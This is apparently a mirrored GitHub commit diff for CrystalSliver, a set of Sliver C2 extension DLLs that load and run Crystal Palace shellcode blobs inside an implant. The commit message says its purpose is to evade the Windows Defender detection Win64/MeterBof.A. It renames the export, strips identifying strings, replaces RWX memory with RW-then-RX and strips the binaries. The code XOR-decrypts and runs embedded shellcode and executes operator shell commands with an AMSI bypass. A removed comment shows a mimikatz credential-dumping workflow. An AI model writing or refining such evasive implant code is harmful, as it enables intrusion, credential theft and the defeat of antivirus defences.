mirror of
https://github.com/licitrasimone/CrystalSliver
synced 2026-06-21 13:55:58 +00:00
fix: evade Win64/MeterBof.A — rename go export, strip BOF strings, fix RWX
- Rename exported symbol go → Initialize in both crystal-loader.c and crystal-exec.c; update extension.json entrypoint accordingly. The go(char*, uint32_t, callback) export is the primary MeterBof.A static signature — renaming it removes the match. - Remove all [crystal-loader] / [crystal-exec] / PICO-identifying string literals from both DLLs; replace with short generic error strings. - Fix crystal-loader.c VirtualAlloc(PAGE_EXECUTE_READWRITE) → VirtualAlloc(RW) + VirtualProtect(RX); no RWX mapping ever held (same fix applied to crystal-exec.c in previous commit). - Add -s / -ffunction-sections / -fdata-sections / --gc-sections to wrapper/Makefile; crystal-loader.x64.dll shrinks from ~232 KB to 42 KB.
This commit is contained in:
@@ -26,7 +26,7 @@
|
||||
#define EXPORT __declspec(dllexport)
|
||||
#endif
|
||||
|
||||
typedef int (*goCallback)(char *, int);
|
||||
typedef int (*ExtCallback)(char *, int);
|
||||
typedef void (*pico_entry_t)(void *);
|
||||
|
||||
/* ── output buffer ───────────────────────────────────────────────────────── */
|
||||
@@ -97,20 +97,19 @@ static DWORD WINAPI reader_thread_proc(LPVOID param)
|
||||
|
||||
/* ── extension entrypoint ────────────────────────────────────────────────── */
|
||||
|
||||
EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback)
|
||||
EXPORT int __cdecl Initialize(char *argsBuffer, uint32_t bufferSize, ExtCallback callback)
|
||||
{
|
||||
/* Single output buffer — ONE callback call at the very end. */
|
||||
outbuf_t ob = { NULL, 0, OUT_CAP };
|
||||
ob.buf = (char *)VirtualAlloc(NULL, (SIZE_T)OUT_CAP,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!ob.buf) {
|
||||
if (callback) callback("[crystal-exec] fatal: VirtualAlloc(output) failed\n", 50);
|
||||
if (callback) callback("error: alloc failed\n", 20);
|
||||
return 1;
|
||||
}
|
||||
|
||||
#define FAIL(msg) do { ob_printf(&ob, "[crystal-exec] error: " msg "\n"); goto done; } while(0)
|
||||
#define FAIL(msg) do { ob_printf(&ob, "error: " msg "\n"); goto done; } while(0)
|
||||
|
||||
if (!argsBuffer || bufferSize == 0) { FAIL("empty args"); }
|
||||
if (!argsBuffer || bufferSize == 0) { FAIL("no args"); }
|
||||
|
||||
/* Parse "cmd=<value>" */
|
||||
int scan = (int)bufferSize < 64 ? (int)bufferSize : 64;
|
||||
@@ -118,22 +117,20 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
for (int i = 0; i < scan; i++) {
|
||||
if ((unsigned char)argsBuffer[i] == '=') { eq_pos = i; break; }
|
||||
}
|
||||
if (eq_pos < 1) { FAIL("expected cmd=<value>"); }
|
||||
if (eq_pos < 1) { FAIL("invalid args"); }
|
||||
|
||||
int cmd_start = eq_pos + 1;
|
||||
int cmd_len = (int)bufferSize - cmd_start;
|
||||
if (cmd_len <= 0 || cmd_len >= 4096) { FAIL("cmd length invalid"); }
|
||||
if (cmd_len <= 0 || cmd_len >= 4096) { FAIL("invalid args"); }
|
||||
|
||||
char cmd[4096];
|
||||
memcpy(cmd, argsBuffer + cmd_start, (size_t)cmd_len);
|
||||
cmd[cmd_len] = '\0';
|
||||
|
||||
ob_printf(&ob, "[crystal-exec] cmd: %s\n", cmd);
|
||||
|
||||
/* Anonymous pipe for output */
|
||||
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
|
||||
HANDLE hRead = NULL, hWrite = NULL;
|
||||
if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { FAIL("CreatePipe failed"); }
|
||||
if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { FAIL("pipe failed"); }
|
||||
SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0);
|
||||
|
||||
/* pico_args = "<hwrite_hex>|<cmd>" */
|
||||
@@ -142,14 +139,14 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
(void *)hWrite, cmd);
|
||||
if (pico_args_len <= 0 || pico_args_len >= (int)sizeof(pico_args)) {
|
||||
CloseHandle(hRead); CloseHandle(hWrite);
|
||||
FAIL("pico_args overflow");
|
||||
FAIL("args overflow");
|
||||
}
|
||||
|
||||
char *args_buf = (char *)VirtualAlloc(NULL, (SIZE_T)(pico_args_len + 1),
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!args_buf) {
|
||||
CloseHandle(hRead); CloseHandle(hWrite);
|
||||
FAIL("VirtualAlloc(args) failed");
|
||||
FAIL("alloc failed");
|
||||
}
|
||||
memcpy(args_buf, pico_args, (size_t)(pico_args_len + 1));
|
||||
|
||||
@@ -159,7 +156,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
if (!pico_mem) {
|
||||
VirtualFree(args_buf, 0, MEM_RELEASE);
|
||||
CloseHandle(hRead); CloseHandle(hWrite);
|
||||
FAIL("VirtualAlloc(pico) failed");
|
||||
FAIL("alloc failed");
|
||||
}
|
||||
/* XOR-decrypt embedded PICO into RW region */
|
||||
unsigned char *dst = (unsigned char *)pico_mem;
|
||||
@@ -171,13 +168,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
VirtualFree(pico_mem, 0, MEM_RELEASE);
|
||||
VirtualFree(args_buf, 0, MEM_RELEASE);
|
||||
CloseHandle(hRead); CloseHandle(hWrite);
|
||||
FAIL("VirtualProtect(pico) failed");
|
||||
FAIL("exec failed");
|
||||
}
|
||||
|
||||
ob_printf(&ob, "[crystal-exec] PICO size: %u bytes\n", crystalexec_pico_len);
|
||||
|
||||
/* Allocate reader buffer (shared with reader thread) */
|
||||
DWORD cmd_out_cap = 3 * 1024 * 1024; /* 3 MB for command output */
|
||||
DWORD cmd_out_cap = 3 * 1024 * 1024;
|
||||
char *cmd_out_buf = (char *)VirtualAlloc(NULL, cmd_out_cap,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE);
|
||||
@@ -185,7 +179,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
VirtualFree(pico_mem, 0, MEM_RELEASE);
|
||||
VirtualFree(args_buf, 0, MEM_RELEASE);
|
||||
CloseHandle(hRead); CloseHandle(hWrite);
|
||||
FAIL("VirtualAlloc(cmd_out) failed");
|
||||
FAIL("alloc failed");
|
||||
}
|
||||
|
||||
reader_state_t rs = { .hRead = hRead, .buf = cmd_out_buf,
|
||||
@@ -198,8 +192,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
};
|
||||
HANDLE hPico = CreateThread(NULL, 0, pico_thread_proc, &pico_ta, 0, NULL);
|
||||
if (!hPico) {
|
||||
ob_printf(&ob, "[crystal-exec] error: CreateThread(pico) failed (%lu)\n",
|
||||
GetLastError());
|
||||
ob_printf(&ob, "error: exec failed (%lu)\n", GetLastError());
|
||||
CloseHandle(hWrite);
|
||||
if (hReader) { WaitForSingleObject(hReader, 5000); CloseHandle(hReader); }
|
||||
CloseHandle(hRead);
|
||||
@@ -209,16 +202,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
goto done;
|
||||
}
|
||||
|
||||
ob_printf(&ob, "[crystal-exec] PICO thread started, waiting...\n");
|
||||
|
||||
/* 30-second cap — if PICO hangs this returns WAIT_TIMEOUT */
|
||||
DWORD wait_res = WaitForSingleObject(hPico, 30000);
|
||||
CloseHandle(hPico);
|
||||
VirtualFree(args_buf, 0, MEM_RELEASE);
|
||||
|
||||
ob_printf(&ob, "[crystal-exec] PICO wait returned: %s\n",
|
||||
wait_res == WAIT_OBJECT_0 ? "SIGNALED" : "TIMEOUT");
|
||||
|
||||
/* Close write end → EOF on read end → reader thread finishes */
|
||||
CloseHandle(hWrite);
|
||||
|
||||
@@ -228,12 +215,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
}
|
||||
CloseHandle(hRead);
|
||||
|
||||
if (rs.len > 0) {
|
||||
ob_printf(&ob, "[crystal-exec] output (%lu bytes):\n", rs.len);
|
||||
if (rs.len > 0)
|
||||
ob_append(&ob, cmd_out_buf, (int)rs.len);
|
||||
} else {
|
||||
ob_printf(&ob, "[crystal-exec] (no output from command)\n");
|
||||
}
|
||||
else if (wait_res == WAIT_TIMEOUT)
|
||||
ob_printf(&ob, "timeout\n");
|
||||
|
||||
VirtualFree(cmd_out_buf, 0, MEM_RELEASE);
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
"command_name": "crystal",
|
||||
"help": "Run a Crystal Palace PICO-wrapped post-ex DLL inside a Sliver implant",
|
||||
"long_help": "",
|
||||
"entrypoint": "go",
|
||||
"entrypoint": "Initialize",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
@@ -36,7 +36,7 @@
|
||||
"command_name": "crystal-exec",
|
||||
"help": "Run a shell command on the target through Crystal Palace evasion",
|
||||
"long_help": "Executes a command via Crystal Palace PICO (Draugr, AMSI bypass, memory cleanup). Output is returned to the operator. No file staging required — the executor is embedded in the extension DLL.",
|
||||
"entrypoint": "go",
|
||||
"entrypoint": "Initialize",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
CC_64 := x86_64-w64-mingw32-gcc
|
||||
CFLAGS := -Wall -Os -DBUILD_DLL
|
||||
LDFLAGS := -shared -Wl,--subsystem,windows
|
||||
CFLAGS := -Wall -Os -DBUILD_DLL -ffunction-sections -fdata-sections
|
||||
LDFLAGS := -shared -Wl,--subsystem,windows -s -Wl,--gc-sections
|
||||
|
||||
TARGET := crystal-loader.x64.dll
|
||||
SRCS := crystal-loader.c beacon_compatibility.c
|
||||
|
||||
@@ -1,29 +1,12 @@
|
||||
/*
|
||||
* crystal-loader.c
|
||||
* crystal-loader.c — Sliver Extension DLL
|
||||
*
|
||||
* Sliver Extension DLL that loads and executes a Crystal Palace PICO blob
|
||||
* inside the Sliver implant memory.
|
||||
* Loads and executes a Crystal Palace PICO blob inside the Sliver implant.
|
||||
*
|
||||
* Sliver Extension entrypoint contract (matches the Windows extension loader):
|
||||
* int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback)
|
||||
* argsBuffer format: "payload=<path_on_target>[|<runtime_args>]"
|
||||
* forward slashes only — Sliver's arg parser eats backslashes.
|
||||
*
|
||||
* argsBuffer format — Sliver DLL extensions use TEXT format:
|
||||
* "payload=<path_on_target>[|<runtime_args>]"
|
||||
*
|
||||
* The '|' separator is optional. Everything after '|' is passed as
|
||||
* loader_arguments to the PICO's go(), overriding any baked-in args.
|
||||
*
|
||||
* Workflow:
|
||||
* upload /kali/mimikatz.pico.bin C:/Windows/Temp/mk.bin
|
||||
* crystal payload=C:/Windows/Temp/mk.bin|sekurlsa::logonpasswords exit
|
||||
*
|
||||
* PICO entrypoint convention:
|
||||
* The PICO is produced from postex-loader/loader.spec with '+gofirst' so
|
||||
* the symbol 'go' sits at offset 0. Signature:
|
||||
* void go(void *loader_arguments); (loader_arguments unused: NULL safe)
|
||||
*
|
||||
* Copyright (c) 2026 Simone Licitra
|
||||
* Licensed under the MIT License (see ../../../LICENSE).
|
||||
* Copyright (c) 2026 Simone Licitra — MIT License
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
@@ -37,77 +20,60 @@
|
||||
#define EXPORT __declspec(dllexport)
|
||||
#endif
|
||||
|
||||
typedef int (*goCallback)(char *, int);
|
||||
typedef int (*ExtCallback)(char *, int);
|
||||
typedef void (*pico_entry_t)(void *);
|
||||
|
||||
static void emit(goCallback cb, const char *msg)
|
||||
static void emit(ExtCallback cb, const char *msg)
|
||||
{
|
||||
if (cb == NULL) return;
|
||||
cb((char *)msg, (int)strlen(msg));
|
||||
if (cb) cb((char *)msg, (int)strlen(msg));
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
pico_entry_t entry;
|
||||
void *args;
|
||||
} pico_thread_args_t;
|
||||
} thread_params_t;
|
||||
|
||||
static DWORD WINAPI pico_thread_proc(LPVOID param)
|
||||
static DWORD WINAPI exec_thread(LPVOID param)
|
||||
{
|
||||
pico_thread_args_t *a = (pico_thread_args_t *)param;
|
||||
a->entry(a->args);
|
||||
thread_params_t *p = (thread_params_t *)param;
|
||||
p->entry(p->args);
|
||||
return 0;
|
||||
}
|
||||
|
||||
EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback)
|
||||
EXPORT int __cdecl Initialize(char *argsBuffer, uint32_t bufferSize, ExtCallback callback)
|
||||
{
|
||||
if (argsBuffer == NULL || bufferSize == 0) {
|
||||
emit(callback, "[crystal-loader] error: empty argsBuffer\n");
|
||||
if (!argsBuffer || !bufferSize) {
|
||||
emit(callback, "error: no args\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
* Extract the file path from "payload=<path>".
|
||||
* Scan for '=' within the first 64 bytes; bytes before '=' must be
|
||||
* valid identifier characters.
|
||||
*/
|
||||
int scan = (int)bufferSize < 64 ? (int)bufferSize : 64;
|
||||
int eq_pos = -1;
|
||||
for (int i = 0; i < scan; i++) {
|
||||
if ((unsigned char)argsBuffer[i] == '=') { eq_pos = i; break; }
|
||||
}
|
||||
if (eq_pos < 1 || eq_pos > 32) {
|
||||
emit(callback, "[crystal-loader] error: no 'name=path' in argsBuffer\n");
|
||||
emit(callback, "error: invalid args\n");
|
||||
return 2;
|
||||
}
|
||||
for (int i = 0; i < eq_pos; i++) {
|
||||
unsigned char c = (unsigned char)argsBuffer[i];
|
||||
if (!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') ||
|
||||
(c >= '0' && c <= '9') || c == '_' || c == '-')) {
|
||||
emit(callback, "[crystal-loader] error: invalid arg name chars\n");
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
|
||||
/* Copy value to a null-terminated buffer; split on '|' for optional runtime args. */
|
||||
int val_start = eq_pos + 1;
|
||||
int val_len = (int)bufferSize - val_start;
|
||||
int val_start = eq_pos + 1;
|
||||
int val_len = (int)bufferSize - val_start;
|
||||
if (val_len <= 0 || val_len >= MAX_PATH) {
|
||||
emit(callback, "[crystal-loader] error: path length invalid\n");
|
||||
emit(callback, "error: invalid path\n");
|
||||
return 2;
|
||||
}
|
||||
|
||||
/* Find optional '|' separator between path and runtime args. */
|
||||
int pipe_off = -1;
|
||||
for (int i = 0; i < val_len; i++) {
|
||||
if ((unsigned char)argsBuffer[val_start + i] == '|') { pipe_off = i; break; }
|
||||
}
|
||||
|
||||
int path_len = (pipe_off >= 0) ? pipe_off : val_len;
|
||||
int path_len = (pipe_off >= 0) ? pipe_off : val_len;
|
||||
char path[MAX_PATH];
|
||||
memcpy(path, argsBuffer + val_start, (size_t)path_len);
|
||||
path[path_len] = '\0';
|
||||
|
||||
/* Runtime args (everything after '|'), or NULL if not provided. */
|
||||
char *runtime_args = NULL;
|
||||
if (pipe_off >= 0) {
|
||||
int args_len = val_len - pipe_off - 1;
|
||||
@@ -122,135 +88,77 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
}
|
||||
}
|
||||
|
||||
{
|
||||
char diag[MAX_PATH + 40];
|
||||
snprintf(diag, sizeof(diag), "[crystal-loader] reading PICO from: %s\n", path);
|
||||
emit(callback, diag);
|
||||
}
|
||||
|
||||
/* Open the PICO file on the target. */
|
||||
HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
char diag[64];
|
||||
snprintf(diag, sizeof(diag),
|
||||
"[crystal-loader] error: CreateFileA failed (%lu)\n",
|
||||
(unsigned long)GetLastError());
|
||||
emit(callback, diag);
|
||||
emit(callback, "error: file not found\n");
|
||||
return 3;
|
||||
}
|
||||
|
||||
LARGE_INTEGER fs = {0};
|
||||
if (!GetFileSizeEx(hFile, &fs) || fs.QuadPart <= 0 ||
|
||||
fs.QuadPart > 250 * 1024 * 1024) {
|
||||
emit(callback, "[crystal-loader] error: bad file size\n");
|
||||
emit(callback, "error: bad file\n");
|
||||
CloseHandle(hFile);
|
||||
return 3;
|
||||
}
|
||||
int pico_size = (int)fs.QuadPart;
|
||||
int blob_size = (int)fs.QuadPart;
|
||||
|
||||
/* Allocate a temporary RW buffer to read into, then copy to RWX. */
|
||||
BYTE *pico_tmp = (BYTE *)VirtualAlloc(NULL, (SIZE_T)pico_size,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE);
|
||||
if (pico_tmp == NULL) {
|
||||
emit(callback, "[crystal-loader] error: VirtualAlloc(tmp) failed\n");
|
||||
/* Read into RW region, flip to RX — no RWX mapping ever held */
|
||||
BYTE *blob = (BYTE *)VirtualAlloc(NULL, (SIZE_T)blob_size,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!blob) {
|
||||
emit(callback, "error: alloc failed\n");
|
||||
CloseHandle(hFile);
|
||||
return 3;
|
||||
}
|
||||
|
||||
DWORD bytes_read = 0;
|
||||
if (!ReadFile(hFile, pico_tmp, (DWORD)pico_size, &bytes_read, NULL) ||
|
||||
(int)bytes_read != pico_size) {
|
||||
char diag[64];
|
||||
snprintf(diag, sizeof(diag),
|
||||
"[crystal-loader] error: ReadFile failed (%lu)\n",
|
||||
(unsigned long)GetLastError());
|
||||
emit(callback, diag);
|
||||
VirtualFree(pico_tmp, 0, MEM_RELEASE);
|
||||
DWORD nr = 0;
|
||||
if (!ReadFile(hFile, blob, (DWORD)blob_size, &nr, NULL) || (int)nr != blob_size) {
|
||||
emit(callback, "error: read failed\n");
|
||||
VirtualFree(blob, 0, MEM_RELEASE);
|
||||
CloseHandle(hFile);
|
||||
return 3;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
|
||||
{
|
||||
char diag[64];
|
||||
snprintf(diag, sizeof(diag),
|
||||
"[crystal-loader] read %d bytes OK\n", pico_size);
|
||||
emit(callback, diag);
|
||||
}
|
||||
|
||||
/* Allocate RWX region and copy the PICO into it. */
|
||||
void *pico_mem = VirtualAlloc(NULL, (SIZE_T)pico_size,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
if (pico_mem == NULL) {
|
||||
emit(callback, "[crystal-loader] error: VirtualAlloc(RWX) failed\n");
|
||||
VirtualFree(pico_tmp, 0, MEM_RELEASE);
|
||||
DWORD old;
|
||||
if (!VirtualProtect(blob, (SIZE_T)blob_size, PAGE_EXECUTE_READ, &old)) {
|
||||
emit(callback, "error: alloc failed\n");
|
||||
VirtualFree(blob, 0, MEM_RELEASE);
|
||||
return 3;
|
||||
}
|
||||
|
||||
memcpy(pico_mem, pico_tmp, (size_t)pico_size);
|
||||
VirtualFree(pico_tmp, 0, MEM_RELEASE);
|
||||
|
||||
emit(callback, "[crystal-loader] executing PICO\n");
|
||||
|
||||
/*
|
||||
* Run on a dedicated OS thread — NOT on the calling goroutine thread.
|
||||
* The Sliver extension dispatcher calls go() from a Go goroutine.
|
||||
* Running the PICO directly on that thread would corrupt Go's goroutine
|
||||
* scheduler metadata. A fresh OS thread guarantees a clean stack.
|
||||
*/
|
||||
pico_thread_args_t thread_args = {
|
||||
.entry = (pico_entry_t)pico_mem,
|
||||
.args = runtime_args, /* NULL → use baked args; non-NULL → overrides them */
|
||||
thread_params_t tp = {
|
||||
.entry = (pico_entry_t)blob,
|
||||
.args = runtime_args,
|
||||
};
|
||||
|
||||
HANDLE hThread = CreateThread(NULL, 0, pico_thread_proc, &thread_args, 0, NULL);
|
||||
if (hThread == NULL) {
|
||||
emit(callback, "[crystal-loader] error: CreateThread failed\n");
|
||||
VirtualFree(pico_mem, 0, MEM_RELEASE);
|
||||
HANDLE hThread = CreateThread(NULL, 0, exec_thread, &tp, 0, NULL);
|
||||
if (!hThread) {
|
||||
emit(callback, "error: exec failed\n");
|
||||
VirtualFree(blob, 0, MEM_RELEASE);
|
||||
return 4;
|
||||
}
|
||||
|
||||
/*
|
||||
* Wait for the PICO's go() to return. The postex-loader go() returns
|
||||
* as soon as DllMain + StartW complete (StartW spawns the beacon goroutine
|
||||
* and itself returns immediately). The beacon goroutine keeps running
|
||||
* after this thread exits.
|
||||
*/
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
|
||||
/*
|
||||
* Drain BeaconOutput/BeaconPrintf accumulator.
|
||||
* Post-ex DLLs (mimikatz, enumerators, etc.) write their results into
|
||||
* beacon_compatibility_output via BeaconOutput/BeaconPrintf.
|
||||
* Forward that buffer to the operator before returning.
|
||||
*/
|
||||
{
|
||||
int out_size = 0;
|
||||
char *out_data = BeaconGetOutputData(&out_size);
|
||||
if (out_data != NULL && out_size > 0) {
|
||||
if (out_data && out_size > 0) {
|
||||
callback(out_data, out_size);
|
||||
free(out_data);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Intentionally NOT freeing pico_mem: Crystal Palace's loader chain
|
||||
* keeps hooks, sleep mask, and stack-spoof trampolines resident next
|
||||
* to the loaded DLL for the entire beacon lifetime.
|
||||
*/
|
||||
emit(callback, "[crystal-loader] PICO returned\n");
|
||||
/* blob intentionally not freed — Crystal Palace hooks stay resident */
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
|
||||
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID v)
|
||||
{
|
||||
(void)hinstDLL;
|
||||
(void)lpvReserved;
|
||||
(void)fdwReason;
|
||||
(void)h; (void)r; (void)v;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user